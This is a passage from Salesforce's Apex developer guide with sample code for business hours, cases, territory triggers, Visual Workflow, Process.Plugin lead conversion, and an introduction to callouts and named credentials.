Rewriting URLs for Force.com SitesUsing Salesforce Features with Apex
Site URLs After Rewriting
The numbered elements in this figure are:
1. The rewritten URL for the contact page after rewriting
2. The link to the parent account page from the contact page
3. The rewritten URL for the link to the account page after rewriting, shown in the browser's status bar
Support Classes
Support classes allow you to interact with records commonly used by support centers, such as business hours and cases.
Working with Business Hours
Business hours are used to specify the hours at which your customer support team operates, including multiple business hours in multiple
time zones.
This example finds the time one business hour from startTime, returning the Datetime in the local time zone. It gets the default business
hours by querying BusinessHours. Also, it calls the BusinessHours add method.
// Get the default business hours
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];
// Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone.
Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8);
// Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the
// default business hours. The returned Datetime will be in the local timezone.
Datetime nextTime = BusinessHours.add(bh.id, startTime, 60 * 60 * 1000L);
This example finds the time one business hour from startTime, returning the Datetime in GMT:
// Get the default business hours
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];
438
Support ClassesUsing Salesforce Features with Apex
// Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone.
Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8);
// Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the
// default business hours. The returned Datetime will be in GMT.
Datetime nextTimeGmt = BusinessHours.addGmt(bh.id, startTime, 60 * 60 * 1000L);
The next example finds the difference between startTime and nextTime:
// Get the default business hours
BusinessHours bh = [select id from businesshours where IsDefault=true];
// Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone.
Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8);
// Create Datetime on May 28, 2008 at 4:06:08 PM in local timezone.
Datetime endTime = Datetime.newInstance(2008, 5, 28, 16, 6, 8);
// Find the number of business hours milliseconds between startTime and endTime as
// defined by the default business hours. Will return a negative value if endTime is
// before startTime, 0 if equal, positive value otherwise.
Long diff = BusinessHours.diff(bh.id, startTime, endTime);
Working with Cases
Incoming and outgoing email messages can be associated with their corresponding cases using the Cases class
getCaseIdFromEmailThreadId method. This method is used with Email-to-Case, which is an automated process that turns
emails received from customers into customer service cases.
The following example uses an email thread ID to retrieve the related case ID.
public class GetCaseIdController {
public static void getCaseIdSample() {
// Get email thread ID
String emailThreadId = '_00Dxx1gEW._500xxYktg';
// Call Apex method to retrieve case ID from email thread ID
ID caseId = Cases.getCaseIdFromEmailThreadId(emailThreadId);
}
}
SEE ALSO:
BusinessHours Class
Cases Class
Territory Management 2.0
With trigger support for the Territory2 and UserTerritory2Association standard objects, you can automate actions and processes related
to changes in these territory management records.
439
Territory Management 2.0Using Salesforce Features with Apex
Sample Trigger for Territory2
This example trigger fires after Territory2 records have been created or deleted. This example trigger assumes that an organization has
a custom field called TerritoryCount__c defined on the Territory2Model object to track the net number of territories in each
territory model. The trigger code increments or decrements the value in the TerritoryCount__c field each time a territory is
created or deleted.
trigger maintainTerritoryCount on Territory2 (after insert, after delete) {
// Track the effective delta for each model
Map<Id, Integer> modelMap = new Map<Id, Integer>();
for(Territory2 terr : (Trigger.isInsert ? Trigger.new : Trigger.old)) {
Integer offset = 0;
if(modelMap.containsKey(terr.territory2ModelId)) {
offset = modelMap.get(terr.territory2ModelId);
}
offset += (Trigger.isInsert ? 1 : -1);
modelMap.put(terr.territory2ModelId, offset);
}
// We have a custom field on Territory2Model called TerritoryCount__c
List<Territory2Model> models = [SELECT Id, TerritoryCount__c FROM
Territory2Model WHERE Id IN :modelMap.keySet()];
for(Territory2Model tm : models) {
// In case the field is not defined with a default of 0
if(tm.TerritoryCount__c == null) {
tm.TerritoryCount__c = 0;
}
tm.TerritoryCount__c += modelMap.get(tm.Id);
}
// Bulk update the field on all the impacted models
update(models);
}
Sample Trigger for UserTerritory2Association
This example trigger fires after UserTerritory2Association records have been created. This example trigger sends an email notification to
the Sales Operations group letting them know that users have been added to territories. It identifies the user who added users to
territories. Then, it identifies each added user along with which territory the user was added to and which territory model the territory
belongs to.
trigger notifySalesOps on UserTerritory2Association (after insert) {
// Query the details of the users and territories involved
List<UserTerritory2Association> utaList = [SELECT Id, User.FirstName, User.LastName,
Territory2.Name, Territory2.Territory2Model.Name
FROM UserTerritory2Association WHERE Id IN :Trigger.New];
// Email message to send
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
mail.setToAddresses(new String[]{'salesOps@acme.com'});
mail.setSubject('Users added to territories notification');
// Build the message body
List<String> msgBody = new List<String>();
440
Territory Management 2.0Using Salesforce Features with Apex
String addedToTerrStr = '{0}, {1} added to territory {2} in model {3} \n';
msgBody.add('The following users were added to territories by ' +
UserInfo.getFirstName() + ', ' + UserInfo.getLastName() + '\n');
for(UserTerritory2Association uta : utaList) {
msgBody.add(String.format(addedToTerrStr,
new String[]{uta.User.FirstName, uta.User.LastName,
uta.Territory2.Name, uta.Territory2.Territory2Model.Name}));
}
// Set the message body and send the email
mail.setPlainTextBody(String.join(msgBody,''));
Messaging.sendEmail(new Messaging.Email[] { mail });
}
Visual Workflow
Visual Workflow allows administrators to build applications, known as flows, that guide users through screens for collecting and updating
data.
For example, you can use Visual Workflow to script calls for a customer support center or to generate real-time quotes for a sales
organization. You can embed a flow in a Visualforce page and access it in a Visualforce controller using Apex.
IN THIS SECTION:
Getting Flow Variables
You can retrieve flow variables for a specific flow in Apex.
Passing Data to a Flow Using the Process.Plugin Interface
Process.Plugin is a built-in interface that allows you to process data within your organization and pass it to a specified flow.
The interface exposes Apex as a service, which accepts input values and returns output back to the flow.
Getting Flow Variables
You can retrieve flow variables for a specific flow in Apex.
The Flow.Interview Apex class provides the getVariableValue method for retrieving a flow variable, which can be in the
flow embedded in the Visualforce page, or in a separate flow that is called by a subflow element. This example shows how to use this
method to obtain breadcrumb (navigation) information from the flow embedded in the Visualforce page. If that flow contains subflow
elements, and each of the referenced flows also contains a vaBreadCrumb variable, the Visualforce page can provide users with
breadcrumbs regardless of which flow the interview is running.
public class SampleContoller {
// Instance of the flow
public Flow.Interview.Flow_Template_Gallery myFlow {get; set;}
public String getBreadCrumb() {
String aBreadCrumb;
if (myFlow==null){return 'Home';}
else aBreadCrumb = (String) myFlow.getVariableValue('vaBreadCrumb');
return(aBreadCrumb==null ?'Home': aBreadCrumb);
441
Visual WorkflowUsing Salesforce Features with Apex
}
}
SEE ALSO:
Interview Class
Passing Data to a Flow Using the Process.Plugin Interface
Process.Plugin is a built-in interface that allows you to process data within your organization and pass it to a specified flow. The
interface exposes Apex as a service, which accepts input values and returns output back to the flow.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
•The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
•The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
When you define an Apex class that implements the Process.Plugin interface in your organization, the Cloud Flow Designer
displays the Apex class in the Palette.
Process.Plugin has these top-level classes.
•Process.PluginRequest passes input parameters from the class that implements the interface to the flow.
•Process.PluginResult returns output parameters from the class that implements the interface to the flow.
•Process.PluginDescribeResult passes input parameters from a flow to the class that implements the interface. This
class determines the input parameters and output parameters needed by the Process.PluginResult plug-in.
When you write Apex unit tests, instantiate a class and pass it into the interface invoke method. To pass in the parameters that the
system needs, create a map and use it in the constructor. For more information, see Using the Process.PluginRequest Class
on page 444.
IN THIS SECTION:
Implementing the Process.Plugin Interface
Process.Plugin is a built-in interface that allows you to pass data between your organization and a specified flow.
Using the Process.PluginRequest Class
The Process.PluginRequest class passes input parameters from the class that implements the interface to the flow.
Using the Process.PluginResult Class
The Process.PluginResult class returns output parameters from the class that implements the interface to the flow.
Using the Process.PluginDescribeResult Class
Use the Process.Plugin interface describe method to dynamically provide both input and output parameters for the
flow. This method returns the Process.PluginDescribeResult class.
Process.Plugin Data Type Conversions
Understand how data types are converted between Apex and the values returned to the Process.Plugin. For example, text
data in a flow converts to string data in Apex.
442
Passing Data to a Flow Using the Process.Plugin InterfaceUsing Salesforce Features with Apex
Sample Process.Plugin Implementation for Lead Conversion
In this example, an Apex class implements the Process.Plugin interface and converts a lead into an account, contact, and
optionally, an opportunity. Test methods for the plug-in are also included. This implementation can be called from a flow via an
Apex plug-in element.
Implementing the Process.Plugin Interface
Process.Plugin is a built-in interface that allows you to pass data between your organization and a specified flow.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
•The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
•The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
The class that implements the Process.Plugin interface must call these methods.
DescriptionReturn TypeArgumentsName
Returns a
Process.PluginDescribeResult
object that describes this method call.
Process.PluginDescribeResultdescribe
Primary method that the system invokes
when the class that implements the
interface is instantiated.
Process.PluginResultProcess.PluginRequestinvoke
Example Implementation
global class flowChat implements Process.Plugin {
// The main method to be implemented. The Flow calls this at runtime.
global Process.PluginResult invoke(Process.PluginRequest request) {
// Get the subject of the Chatter post from the flow
String subject = (String) request.inputParameters.get('subject');
// Use the Chatter APIs to post it to the current user's feed
FeedItem fItem = new FeedItem();
fItem.ParentId = UserInfo.getUserId();
fItem.Body = 'Force.com flow Update: ' + subject;
insert fItem;
// return to Flow
Map<String,Object> result = new Map<String,Object>();
return new Process.PluginResult(result);
}
// Returns the describe information for the interface
global Process.PluginDescribeResult describe() {
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.Name = 'flowchatplugin';
443
Passing Data to a Flow Using the Process.Plugin InterfaceUsing Salesforce Features with Apex
result.Tag = 'chat';
result.inputParameters = new
List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('subject',
Process.PluginDescribeResult.ParameterType.STRING, true)
};
result.outputParameters = new
List<Process.PluginDescribeResult.OutputParameter>{ };
return result;
}
}
Test Class
The following is a test class for the above class.
@isTest
private class flowChatTest {
static testmethod void flowChatTests() {
flowChat plugin = new flowChat();
Map<String,Object> inputParams = new Map<String,Object>();
string feedSubject = 'Flow is alive';
InputParams.put('subject', feedSubject);
Process.PluginRequest request = new Process.PluginRequest(inputParams);
plugin.invoke(request);
}
}
Using the Process.PluginRequest Class
The Process.PluginRequest class passes input parameters from the class that implements the interface to the flow.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
•The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
•The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
This class has no methods.
Constructor signature:
Process.PluginRequest (Map<String,Object>)
444
Passing Data to a Flow Using the Process.Plugin InterfaceUsing Salesforce Features with Apex
Here’s an example of instantiating the Process.PluginRequest class with one input parameter.
Map<String,Object> inputParams = new Map<String,Object>();
string feedSubject = 'Flow is alive';
InputParams.put('subject', feedSubject);
Process.PluginRequest request = new Process.PluginRequest(inputParams);
Code Example
In this example, the code returns the subject of a Chatter post from a flow and posts it to the current user's feed.
global Process.PluginResult invoke(Process.PluginRequest request) {
// Get the subject of the Chatter post from the flow
String subject = (String) request.inputParameters.get('subject');
// Use the Chatter APIs to post it to the current user's feed
FeedPost fpost = new FeedPost();
fpost.ParentId = UserInfo.getUserId();
fpost.Body = 'Force.com flow Update: ' + subject;
insert fpost;
// return to Flow
Map<String,Object> result = new Map<String,Object>();
return new Process.PluginResult(result);
}
// describes the interface
global Process.PluginDescribeResult describe() {
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('subject',
Process.PluginDescribeResult.ParameterType.STRING, true)
};
result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{
};
return result;
}
}
Using the Process.PluginResult Class
The Process.PluginResult class returns output parameters from the class that implements the interface to the flow.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
•The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
•The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
You can instantiate the Process.PluginResult class using one of the following formats:
•Process.PluginResult (Map<String,Object>)
•Process.PluginResult (String,Object)
445
Passing Data to a Flow Using the Process.Plugin InterfaceUsing Salesforce Features with Apex
Use the map when you have more than one result or when you don't know how many results will be returned.
The following is an example of instantiating a Process.PluginResult class.
string url = 'https://docs.google.com/document/edit?id=abc';
String status = 'Success';
Map<String,Object> result = new Map<String,Object>();
result.put('url', url);
result.put('status',status);
new Process.PluginResult(result);
Using the Process.PluginDescribeResult Class
Use the Process.Plugin interface describe method to dynamically provide both input and output parameters for the flow.
This method returns the Process.PluginDescribeResult class.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
•The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
•The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
The Process.PluginDescribeResult class doesn’t support the following functions.
•Queries
•Data modification
•Email
•Apex nested callouts
Process.PluginDescribeResult Class and Subclass Properties
Here’s the constructor for the Process.PluginDescribeResult class.
Process.PluginDescribeResult classname =new Process.PluginDescribeResult();
•PluginDescribeResult Class Properties
•PluginDescribeResult.InputParameter Class Properties
•PluginDescribeResult.OutputParameter Class Properties
Here’s the constructor for the Process.PluginDescribeResult.InputParameter class.
Process.PluginDescribeResult.InputParameter ip =new
Process.PluginDescribeResult.InputParameter(Name,Optional_description_string,
Process.PluginDescribeResult.ParameterType.Enum,Boolean_required);
Here’s the constructor for the Process.PluginDescribeResult.OutputParameter class.
Process.PluginDescribeResult.OutputParameter op =new
new Process.PluginDescribeResult.OutputParameter(Name,Optional description string,
Process.PluginDescribeResult.ParameterType.Enum);
To use the Process.PluginDescribeResult class, create instances of these subclasses.
•Process.PluginDescribeResult.InputParameter
446
Passing Data to a Flow Using the Process.Plugin InterfaceUsing Salesforce Features with Apex
•Process.PluginDescribeResult.OutputParameter
Process.PluginDescribeResult.InputParameter is a list of input parameters and has the following format.
Process.PluginDescribeResult.inputParameters =
new List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter(Name,Optional_description_string,
Process.PluginDescribeResult.ParameterType.Enum,Boolean_required)
For example:
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.setDescription('this plugin gets the name of a user');
result.setTag ('userinfo');
result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('FullName',
Process.PluginDescribeResult.ParameterType.STRING, true),
new Process.PluginDescribeResult.InputParameter('DOB',
Process.PluginDescribeResult.ParameterType.DATE, true),
};
Process.PluginDescribeResult.OutputParameter is a list of output parameters and has the following format.
Process.PluginDescribeResult.outputParameters = new
List<Process.PluginDescribeResult.OutputParameter>{
new Process.PluginDescribeResult.OutputParameter(Name,Optional description string,
Process.PluginDescribeResult.ParameterType.Enum)
For example:
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.setDescription('this plugin gets the name of a user');
result.setTag ('userinfo');
result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{
new Process.PluginDescribeResult.OutputParameter('URL',
Process.PluginDescribeResult.ParameterType.STRING),
Both classes take the Process.PluginDescribeResult.ParameterType Enum. Valid values are:
•BOOLEAN
•DATE
•DATETIME
•DECIMAL
•DOUBLE
•FLOAT
•ID
•INTEGER
•LONG
•STRING
447
Passing Data to a Flow Using the Process.Plugin InterfaceUsing Salesforce Features with Apex
For example:
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{
new Process.PluginDescribeResult.OutputParameter('URL',
Process.PluginDescribeResult.ParameterType.STRING, true),
new Process.PluginDescribeResult.OutputParameter('STATUS',
Process.PluginDescribeResult.ParameterType.STRING),
};
Process.Plugin Data Type Conversions
Understand how data types are converted between Apex and the values returned to the Process.Plugin. For example, text data
in a flow converts to string data in Apex.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
•The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
•The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
Data TypeFlow Data Type
DecimalNumber
Datetime/DateDate
Datetime/DateDateTime
Boolean and numeric with 1 or 0 values onlyBoolean
StringText
Sample Process.Plugin Implementation for Lead Conversion
In this example, an Apex class implements the Process.Plugin interface and converts a lead into an account, contact, and
optionally, an opportunity. Test methods for the plug-in are also included. This implementation can be called from a flow via an Apex
plug-in element.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
•The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
•The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
// Converts a lead as a step in a Visual Workflow process.
global class VWFConvertLead implements Process.Plugin {
// This method runs when called by a flow's Apex plug-in element.
global Process.PluginResult invoke(
Process.PluginRequest request) {
448
Passing Data to a Flow Using the Process.Plugin InterfaceUsing Salesforce Features with Apex
// Set up variables to store input parameters from
// the flow.
String leadID = (String) request.inputParameters.get(
'LeadID');
String contactID = (String)
request.inputParameters.get('ContactID');
String accountID = (String)
request.inputParameters.get('AccountID');
String convertedStatus = (String)
request.inputParameters.get('ConvertedStatus');
Boolean overWriteLeadSource = (Boolean)
request.inputParameters.get('OverwriteLeadSource');
Boolean createOpportunity = (Boolean)
request.inputParameters.get('CreateOpportunity');
String opportunityName = (String)
request.inputParameters.get('ContactID');
Boolean sendEmailToOwner = (Boolean)
request.inputParameters.get('SendEmailToOwner');
// Set the default handling for booleans.
if (overWriteLeadSource == null)
overWriteLeadSource = false;
if (createOpportunity == null)
createOpportunity = true;
if (sendEmailToOwner == null)
sendEmailToOwner = false;
// Convert the lead by passing it to a helper method.
Map<String,Object> result = new Map<String,Object>();
result = convertLead(leadID, contactID, accountID,
convertedStatus, overWriteLeadSource,
createOpportunity, opportunityName,
sendEmailToOwner);
return new Process.PluginResult(result);
}
// This method describes the plug-in and its inputs from
// and outputs to the flow.
// Implementing this method adds the class to the
// Cloud Flow Designer palette.
global Process.PluginDescribeResult describe() {
// Set up plugin metadata
Process.PluginDescribeResult result = new
Process.PluginDescribeResult();
result.description =
'The LeadConvert Flow Plug-in converts a lead into ' +
'an account, a contact, and ' +
'(optionally)an opportunity.';
result.tag = 'Lead Management';
// Create a list that stores both mandatory and optional
// input parameters from the flow.
449
Passing Data to a Flow Using the Process.Plugin InterfaceUsing Salesforce Features with Apex
// NOTE: Only primitive types (STRING, NUMBER, etc.) are
// supported at this time.
// Collections are currently not supported.
result.inputParameters = new
List<Process.PluginDescribeResult.InputParameter>{
// Lead ID (mandatory)
new Process.PluginDescribeResult.InputParameter(
'LeadID',
Process.PluginDescribeResult.ParameterType.STRING,
true),
// Account Id (optional)
new Process.PluginDescribeResult.InputParameter(
'AccountID',
Process.PluginDescribeResult.ParameterType.STRING,
false),
// Contact ID (optional)
new Process.PluginDescribeResult.InputParameter(
'ContactID',
Process.PluginDescribeResult.ParameterType.STRING,
false),
// Status to use once converted
new Process.PluginDescribeResult.InputParameter(
'ConvertedStatus',
Process.PluginDescribeResult.ParameterType.STRING,
true),
new Process.PluginDescribeResult.InputParameter(
'OpportunityName',
Process.PluginDescribeResult.ParameterType.STRING,
false),
new Process.PluginDescribeResult.InputParameter(
'OverwriteLeadSource',
Process.PluginDescribeResult.ParameterType.BOOLEAN,
false),
new Process.PluginDescribeResult.InputParameter(
'CreateOpportunity',
Process.PluginDescribeResult.ParameterType.BOOLEAN,
false),
new Process.PluginDescribeResult.InputParameter(
'SendEmailToOwner',
Process.PluginDescribeResult.ParameterType.BOOLEAN,
false)
};
// Create a list that stores output parameters sent
// to the flow.
result.outputParameters = new List<
Process.PluginDescribeResult.OutputParameter>{
// Account ID of the converted lead
new Process.PluginDescribeResult.OutputParameter(
'AccountID',
Process.PluginDescribeResult.ParameterType.STRING),
// Contact ID of the converted lead
new Process.PluginDescribeResult.OutputParameter(
'ContactID',
450
Passing Data to a Flow Using the Process.Plugin InterfaceUsing Salesforce Features with Apex
Process.PluginDescribeResult.ParameterType.STRING),
// Opportunity ID of the converted lead
new Process.PluginDescribeResult.OutputParameter(
'OpportunityID',
Process.PluginDescribeResult.ParameterType.STRING)
};
return result;
}
/**
* Implementation of the LeadConvert plug-in.
* Converts a given lead with several options:
* leadID - ID of the lead to convert
* contactID -
* accountID - ID of the Account to attach the converted
* Lead/Contact/Opportunity to.
* convertedStatus -
* overWriteLeadSource -
* createOpportunity - true if you want to create a new
* Opportunity upon conversion
* opportunityName - Name of the new Opportunity.
* sendEmailtoOwner - true if you are changing owners upon
* conversion and want to notify the new Opportunity owner.
*
* returns: a Map with the following output:
* AccountID - ID of the Account created or attached
* to upon conversion.
* ContactID - ID of the Contact created or attached
* to upon conversion.
* OpportunityID - ID of the Opportunity created
* upon conversion.
*/
public Map<String,String> convertLead (
String leadID,
String contactID,
String accountID,
String convertedStatus,
Boolean overWriteLeadSource,
Boolean createOpportunity,
String opportunityName,
Boolean sendEmailToOwner
) {
Map<String,String> result = new Map<String,String>();
if (leadId == null)throw new ConvertLeadPluginException(
'Lead Id cannot be null');
// check for multiple leads with the same ID
Lead[] leads = [Select Id, FirstName, LastName, Company
From Lead where Id = :leadID];
if (leads.size() > 0) {
Lead l = leads[0];
// CheckAccount = true, checkContact = false
451
Passing Data to a Flow Using the Process.Plugin InterfaceUsing Salesforce Features with Apex
if (accountID == null && l.Company != null) {
Account[] accounts = [Select Id, Name FROM Account
where Name = :l.Company LIMIT 1];
if (accounts.size() > 0) {
accountId = accounts[0].id;
}
}
// Perform the lead conversion.
Database.LeadConvert lc = new Database.LeadConvert();
lc.setLeadId(leadID);
lc.setOverwriteLeadSource(overWriteLeadSource);
lc.setDoNotCreateOpportunity(!createOpportunity);
lc.setConvertedStatus(convertedStatus);
if (sendEmailToOwner != null) lc.setSendNotificationEmail(
sendEmailToOwner);
if (accountId != null && accountId.length() > 0)
lc.setAccountId(accountId);
if (contactId != null && contactId.length() > 0)
lc.setContactId(contactId);
if (createOpportunity) {
lc.setOpportunityName(opportunityName);
}
Database.LeadConvertResult lcr = Database.convertLead(
lc, true);
if (lcr.isSuccess()) {
result.put('AccountID', lcr.getAccountId());
result.put('ContactID', lcr.getContactId());
if (createOpportunity) {
result.put('OpportunityID',
lcr.getOpportunityId());
}
}else {
String error = lcr.getErrors()[0].getMessage();
throw new ConvertLeadPluginException(error);
}
}else {
throw new ConvertLeadPluginException(
'No leads found with Id : "' + leadId + '"');
}
return result;
}
// Utility exception class
class ConvertLeadPluginException extends Exception {}
}
// Test class for the lead convert Apex plug-in.
@isTest
private class VWFConvertLeadTest {
static testMethod void basicTest() {
// Create test lead
Lead testLead = new Lead(
452
Passing Data to a Flow Using the Process.Plugin InterfaceUsing Salesforce Features with Apex
Company='Test Lead',FirstName='John',LastName='Doe');
insert testLead;
LeadStatus convertStatus =
[Select Id, MasterLabel from LeadStatus
where IsConverted=true limit 1];
// Create test conversion
VWFConvertLead aLeadPlugin = new VWFConvertLead();
Map<String,Object> inputParams = new Map<String,Object>();
Map<String,Object> outputParams = new Map<String,Object>();
inputParams.put('LeadID',testLead.ID);
inputParams.put('ConvertedStatus',
convertStatus.MasterLabel);
Process.PluginRequest request = new
Process.PluginRequest(inputParams);
Process.PluginResult result;
result = aLeadPlugin.invoke(request);
Lead aLead = [select name, id, isConverted
from Lead where id = :testLead.ID];
System.Assert(aLead.isConverted);
}
/*
* This tests lead conversion with
* the Account ID specified.
*/
static testMethod void basicTestwithAccount() {
// Create test lead
Lead testLead = new Lead(
Company='Test Lead',FirstName='John',LastName='Doe');
insert testLead;
Account testAccount = new Account(name='Test Account');
insert testAccount;
// System.debug('ACCOUNT BEFORE' + testAccount.ID);
LeadStatus convertStatus = [Select Id, MasterLabel
from LeadStatus where IsConverted=true limit 1];
// Create test conversion
VWFConvertLead aLeadPlugin = new VWFConvertLead();
Map<String,Object> inputParams = new Map<String,Object>();
Map<String,Object> outputParams = new Map<String,Object>();
inputParams.put('LeadID',testLead.ID);
inputParams.put('AccountID',testAccount.ID);
inputParams.put('ConvertedStatus',
453
Passing Data to a Flow Using the Process.Plugin InterfaceUsing Salesforce Features with Apex
convertStatus.MasterLabel);
Process.PluginRequest request = new
Process.PluginRequest(inputParams);
Process.PluginResult result;
result = aLeadPlugin.invoke(request);
Lead aLead =
[select name, id, isConverted, convertedAccountID
from Lead where id = :testLead.ID];
System.Assert(aLead.isConverted);
//System.debug('ACCOUNT AFTER' + aLead.convertedAccountID);
System.AssertEquals(testAccount.ID, aLead.convertedAccountID);
}
/*
* This tests lead conversion with the Account ID specified.
*/
static testMethod void basicTestwithAccounts() {
// Create test lead
Lead testLead = new Lead(
Company='Test Lead',FirstName='John',LastName='Doe');
insert testLead;
Account testAccount1 = new Account(name='Test Lead');
insert testAccount1;
Account testAccount2 = new Account(name='Test Lead');
insert testAccount2;
// System.debug('ACCOUNT BEFORE' + testAccount.ID);
LeadStatus convertStatus = [Select Id, MasterLabel
from LeadStatus where IsConverted=true limit 1];
// Create test conversion
VWFConvertLead aLeadPlugin = new VWFConvertLead();
Map<String,Object> inputParams = new Map<String,Object>();
Map<String,Object> outputParams = new Map<String,Object>();
inputParams.put('LeadID',testLead.ID);
inputParams.put('ConvertedStatus',
convertStatus.MasterLabel);
Process.PluginRequest request = new
Process.PluginRequest(inputParams);
Process.PluginResult result;
result = aLeadPlugin.invoke(request);
Lead aLead =
[select name, id, isConverted, convertedAccountID
from Lead where id = :testLead.ID];
System.Assert(aLead.isConverted);
}
454
Passing Data to a Flow Using the Process.Plugin InterfaceUsing Salesforce Features with Apex
/*
* -ve Test
*/
static testMethod void errorTest() {
// Create test lead
// Lead testLead = new Lead(Company='Test Lead',
// FirstName='John',LastName='Doe');
LeadStatus convertStatus = [Select Id, MasterLabel
from LeadStatus where IsConverted=true limit 1];
// Create test conversion
VWFConvertLead aLeadPlugin = new VWFConvertLead();
Map<String,Object> inputParams = new Map<String,Object>();
Map<String,Object> outputParams = new Map<String,Object>();
inputParams.put('LeadID','00Q7XXXXxxxxxxx');
inputParams.put('ConvertedStatus',convertStatus.MasterLabel);
Process.PluginRequest request = new
Process.PluginRequest(inputParams);
Process.PluginResult result;
try {
result = aLeadPlugin.invoke(request);
}
catch (Exception e) {
System.debug('EXCEPTION' + e);
System.AssertEquals(1,1);
}
}
/*
* This tests the describe() method
*/
static testMethod void describeTest() {
VWFConvertLead aLeadPlugin =
new VWFConvertLead();
Process.PluginDescribeResult result =
aLeadPlugin.describe();
System.AssertEquals(
result.inputParameters.size(), 8);
System.AssertEquals(
result.OutputParameters.size(), 3);
}
}
455
Passing Data to a Flow Using the Process.Plugin InterfaceUsing Salesforce Features with Apex
CHAPTER 11 Integration and Apex Utilities
Apex allows you to integrate with external SOAP and REST Web services using callouts. Various utilities
are provided for use with callouts. These are utilities for JSON, XML, data security, and encoding. Also, a
general purpose utility for regular expressions with text strings is provided.
In this chapter ...
•Invoking Callouts
Using Apex
•JSON Support
•XML Support
•Securing Your Data
•Encoding Your Data
•Using Patterns and
Matchers
456
Invoking Callouts Using Apex
An Apex callout enables you to tightly integrate your Apex with an external service by making a call to an external Web service or sending
a HTTP request from Apex code and then receiving the response. Apex provides integration with Web services that utilize SOAP and
WSDL, or HTTP services (RESTful services).
Note: Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page, or the callout
fails. Salesforce prevents calls to unauthorized network addresses.
If the callout specifies a named credential as the endpoint, you don’t need to configure remote site settings. A named credential
specifies the URL of a callout endpoint and its required authentication parameters in one definition. To set up named credentials,
see “Define a Named Credential” in the Salesforce Help.
To learn more about the types of callouts, see:
•SOAP Services: Defining a Class from a WSDL Document on page 461
•Invoking HTTP Callouts on page 474
•Asynchronous Callouts for Long-Running Requests on page 485
Tip: Callouts enable Apex to invoke external web or HTTP services. Apex Web services allow an external application to invoke
Apex methods through Web services.
Adding Remote Site Settings
Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page, or the callout fails. Salesforce
prevents calls to unauthorized network addresses.
Note: If the callout specifies a named credential as the endpoint, you don’t need to configure remote site settings. A named
credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. To set up named
credentials, see “Define a Named Credential” in the Salesforce Help.
To add a remote site setting:
1. From Setup, enter Remote Site Settings in the Quick Find box, then select Remote Site Settings.
2. Click New Remote Site.
3. Enter a descriptive term for the Remote Site Name.
4. Enter the URL for the remote site.
5. Optionally, enter a description of the site.
6. Click Save.
Named Credentials as Callout Endpoints
A named credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. Salesforce
manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn’t have to.
You can also skip remote site settings, which are otherwise required for callouts to external sites, for the site defined in the named
credential.
By separating the endpoint URL and authentication from the callout definition, named credentials make callouts easier to maintain. For
example, if an endpoint URL changes, you update only the named credential. All callouts that reference the named credential simply
continue to work.
